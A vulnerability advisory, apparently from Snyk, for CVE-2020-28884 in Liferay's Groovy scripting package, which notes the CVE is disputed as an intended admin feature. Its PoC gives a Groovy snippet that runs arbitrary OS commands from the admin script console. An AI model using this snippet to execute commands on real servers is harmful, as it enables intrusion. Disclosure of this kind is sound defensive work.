Command Injection Affecting com.liferay:com.liferay.portal.scripting.groovy package, versions [0,]
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-COMLIFERAY-2386905
- published 28 Jan 2022
- disclosed 28 Jan 2022
- credit Unknown
Introduced: 28 Jan 2022
CVE-2020-28884 Open this link in a new tabHow to fix?
There is no fixed version for com.liferay:com.liferay.portal.scripting.groovy.
Overview
Affected versions of this package are vulnerable to Command Injection via a Groovy script a user with high privileges can execute any OS command on the underlaying server.
PoC
Login as admin
In the Product Menu, navigate to Control Panel and select Configuration → Server Administration.
Execute the following script:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = '[command]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Instead of command insert arbitrary command (i.e ls -la).
Note: This CVE is disputed since it is a feature for administrators to run groovy scripts and therefore not a design flaw.